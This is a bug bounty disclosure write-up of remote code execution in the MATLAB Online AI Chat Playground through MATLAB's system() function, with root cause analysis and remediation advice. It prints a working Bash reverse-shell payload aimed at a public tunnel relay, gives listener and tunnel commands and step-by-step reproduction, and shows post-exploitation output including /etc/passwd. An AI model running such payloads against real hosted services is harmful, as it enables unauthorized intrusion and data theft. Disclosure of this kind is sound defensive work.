Remote Code Execution in MATLAB Online AI Chat Playground via the `system()` Function

Overview

During independent bug bounty research, a Remote Code Execution vulnerability was identified in the MATLAB Online AI Chat Playground (in.mathworks.com/matlabcentral/playground/presets/assistant). The playground executes MATLAB code submitted through the browser against a MathWorks-hosted backend.

MATLAB exposes a built-in system() function that forwards its argument to the host operating-system shell. Because this function was reachable and unrestricted within the playground, an authenticated user could submit a system() call containing a shell command and have it executed on the backend host, moving from intended MATLAB-only execution to arbitrary OS command execution.

Using this primitive, an interactive reverse shell was established from the backend to an external listener, and host-level commands were executed to confirm the access.

The finding was reported through the bug bounty program and received a Critical severity rating in the public disclosure.

• Research Classification: Bug Bounty Research
• Target: MATLAB Online (MathWorks)
• Affected Component: MATLAB Online AI Chat Playground (/matlabcentral/playground/presets/assistant)
• Vulnerability Class: Remote Code Execution (RCE) / Server-Side Command Execution
• Access Level Required: Authenticated user
• Severity: Critical, as publicly disclosed
• Researcher: M1S0

1. Technical Background

Hosted code-execution environments such as online compilers, notebooks, and language playgrounds are designed to run untrusted user code safely. The core security requirement for these systems is that user-supplied code must remain confined to an isolated execution context and must not be able to reach the underlying operating system, host network, or neighboring tenants.

MATLAB is a full programming environment, not a restricted expression evaluator. Among its standard library is the system() function, which executes an operating-system command and returns its exit status and output. In a desktop context this is expected behavior. In a hosted, multi-tenant playground that accepts untrusted input, exposing this function without isolation effectively grants every user a shell on the backend.

Remote Code Execution is consistently ranked among the most severe classes of vulnerability because it collapses the boundary between "data submitted by a user" and "code executed by the server." Once arbitrary commands run on the backend, confidentiality, integrity, and availability of that host, and potentially the surrounding environment, are all at risk.

2. Vulnerability Details

The AI Chat Playground accepts MATLAB code in an editor pane and executes it server-side, returning results to the browser. The execution path did not restrict access to MATLAB's OS-interaction functions.

Submitting the following MATLAB statement caused the backend to execute an operating-system command:

system('<shell command>')

Because system() passes its argument to the host shell, this allowed construction of a full command line, including a Bash reverse shell, that executed on the backend host. The call returned an exit status of 0, confirming successful execution, and the spawned shell connected outbound to an external listener.

Affected functionality: Server-side MATLAB code execution within the AI Chat Playground.

Security weakness: MATLAB's system() OS-command primitive was reachable from untrusted playground input and executed on the backend host, and the host permitted unrestricted outbound network connections.

3. Code Execution and Shell Evidence

The following material illustrates the execution path and the resulting shell access. Session-specific values (hostnames, per-session paths, and tunnel endpoints) are reproduced as captured during testing. Sensitive values should be reviewed and redacted as appropriate before publication.

3.1 Payload

The command submitted in the playground editor was a standard Bash reverse shell wrapped in system():

system('bash -c "bash -i >& /dev/tcp/161.35.110.36/18286 0>&1"')

The destination address 161.35.110.36 corresponds to the public bore tunnel relay (bore.pub), used to forward the callback to the researcher's local listener. The port value matched the port assigned by the tunnel for the session.

3.2 Outbound Callback and Listener

On the researcher-controlled machine, a local listener and a public tunnel were prepared to receive the backend's outbound connection:

# local listener
nc -lvnp 4444

# expose the local listener through the public relay
bore local 4444 --to bore.pub
# -> listening at bore.pub:<assigned_port>

When the payload executed, the backend initiated an outbound connection that was forwarded through the relay to the local listener:

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 36292

The inbound source appears as 127.0.0.1 because the tunnel forwards the connection to the local port.

3.3 Command Execution Confirmation

The reverse shell provided an interactive session on the backend host. The following commands and outputs confirmed code execution, the execution identity, and arbitrary file read:

$ whoami
matlab

$ id
uid=1000600715(matlab) gid=1000600912(matlabgroup) groups=1000600912(matlabgroup),0(root)

$ pwd
/users/mss.system.kdh1eufctm2z1boepl1drbt2qxmrwap1g50ou

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
matlab:x:1000600715:1000600912::/home/matlab:/bin/bash
...

The shell prompt reflected a container-style hostname consistent with an orchestrated compute pool:

matlab@br2026ad-j3203278-matlab-pool-v2-5b7f756b64-fgk5g:/users/mss.system.kdh1eufctm2z1boepl1drbt2qxmrwap1g50ou$

Across repeated executions, the callback landed on different backend hosts with distinct per-session home directories (for example ...-5485b654c9-4424r and ...-5b7f756b64-fgk5g), indicating ephemeral, per-session execution contexts within a shared pool. Execution occurred on MATLAB release R2026a.

3.4 Security Observation

The important observation was that untrusted playground input reached the operating-system shell and executed with the privileges of the backend matlab user, and that the host permitted unrestricted outbound connections. The issue was therefore arbitrary server-side command execution, not merely the ability to run MATLAB code.

Evidence note: Include the original screenshots and screen recording (payload, listener callback, and post-exploitation commands) alongside this writeup, with session-specific values redacted as needed.

4. Proof of Concept

The behavior was validated from an authenticated session using researcher-controlled infrastructure for the callback.

1. Authenticate to MATLAB Online and open the AI Chat Playground (/matlabcentral/playground/presets/assistant).
2. On a researcher-controlled host, start a listener (nc -lvnp 4444) and expose it through a public tunnel (bore local 4444 --to bore.pub), noting the assigned public port.
3. In the playground editor, enter a system() call containing a Bash reverse shell pointed at the tunnel endpoint and assigned port.
4. Run the code. The call returns exit status 0, indicating the OS command executed successfully.
5. Observe the inbound connection on the listener and confirm an interactive shell.
6. Run non-destructive host commands (whoami, id, pwd, cat /etc/passwd) to confirm the execution identity and arbitrary file read.

All testing was limited to non-destructive, read-only commands required to demonstrate the issue.

5. Environment and Information Exposure

The access obtained through the shell exposed backend host and environment information, including:

• Operating-system user and group context (matlab, matlabgroup, supplementary group 0)
• Arbitrary readable files on the host (demonstrated with /etc/passwd)
• Per-session working directories and host/pod naming within the compute pool
• The runtime platform and release details (containerized compute pool, MATLAB R2026a)

Arbitrary command execution additionally places any files, environment variables, credentials, or tokens readable by the execution identity within reach, and provides a foothold for reconnaissance of the internal environment.

6. Security Impact

Arbitrary command execution on a hosted, multi-tenant backend is a high-impact condition. Potential consequences include:

Backend host compromise within the execution context: Arbitrary commands run with the privileges of the backend execution user, exposing readable files, environment data, and any accessible secrets.

Arbitrary file read: Demonstrated through /etc/passwd; extends to any file readable by the execution identity.

Outbound network abuse: Unrestricted egress enabled an interactive reverse shell and could be used for data exfiltration or to reach internal network services.

Internal reconnaissance and lateral-movement surface: A shell on a shared compute pool provides a starting point to enumerate the environment (internal services, metadata endpoints, neighboring resources).

Multi-tenant exposure risk: Because the service runs on a shared pool, weaknesses in isolation between sessions could extend the impact beyond a single user's context.

The finding received a Critical severity rating in the public disclosure. The precise severity should be understood in the context of the program's assessment and the impact demonstrated during testing.

7. Root Cause Analysis

The underlying issue was that an OS-command execution primitive (system()) was reachable from untrusted user input in a hosted execution environment, compounded by a host configuration that permitted unrestricted outbound connections.

A code playground must treat all submitted code as untrusted and ensure it cannot interact with the host operating system or network. Here, the language runtime's full standard library, including direct shell access, was exposed to the submitted code, so the server executed attacker-controlled OS commands as a direct consequence of running the user's "MATLAB" input.

Executing user code confirms that the platform will run the input; it does not imply that the input should be able to reach the shell, the host filesystem, or external networks. Those capabilities should be denied by the execution environment regardless of what the submitted code requests.

8. Remediation Recommendations

8.1 Isolate Code Execution

Run untrusted code in a strongly isolated execution environment (for example, a locked-down container or micro-VM) with no access to a general-purpose host shell, a minimal filesystem view, non-root execution, and tightly scoped capabilities. Treat resistance to escaping that environment as a primary design goal.

8.2 Restrict Dangerous Language Primitives

Disable or neutralize OS-interaction functions (such as system(), and equivalent shell/process/file primitives) within the hosted playground runtime. Prefer an allowlist of permitted functionality over attempting to block individual functions.

8.3 Enforce Strict Egress Filtering

Deny outbound network connections from the execution environment by default. Permit only the specific destinations required for legitimate functionality. This alone prevents reverse shells and most exfiltration paths even if code execution occurs.

8.4 Harden the Execution Identity and Host

Run execution as a minimal, unprivileged user with no membership in sensitive groups, apply least-privilege filesystem permissions, and remove unnecessary tools from the execution image to limit post-exploitation utility.

8.5 Strengthen Tenant Isolation and Monitoring

Ensure robust isolation between per-session execution contexts on the shared pool, and add detection for anomalous behavior from the playground runtime (outbound connection attempts, shell invocation, access to sensitive paths).

9. Key Takeaways

This finding demonstrates how a hosted code-execution feature can expose the backend host when the language runtime's OS-interaction capabilities are reachable from untrusted input.

The central security requirement is straightforward: untrusted code must be fully isolated from the host operating system and network, and dangerous primitives must be unavailable inside the execution environment, not merely discouraged.

For security engineers building or assessing code playgrounds, compilers, and notebook services, systematically testing for shell access, file access, and outbound connectivity from within the execution context is an essential part of validating isolation.

10. Disclosure Context

This issue was identified through independent bug bounty research and reported through the target's bug bounty program, where it was publicly disclosed with a Critical rating.

It is published here as a researcher-led bug bounty finding for educational and defensive security purposes. It does not represent a commissioned engagement or any authorization to test the target, and it should not be interpreted as a client assessment.

The publication presents the technical issue, its security implications, and recommended defensive measures while distinguishing independent vulnerability research from commissioned penetration-testing work.

References

• OWASP Top 10 - Injection: https://owasp.org/Top10/A03_2021-Injection/
• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): https://cwe.mitre.org/data/definitions/78.html
• CWE-94: Improper Control of Generation of Code ('Code Injection'): https://cwe.mitre.org/data/definitions/94.html
• MATLAB system function documentation: https://www.mathworks.com/help/matlab/ref/system.html

---

Independent research. Reproducible findings. Actionable remediation.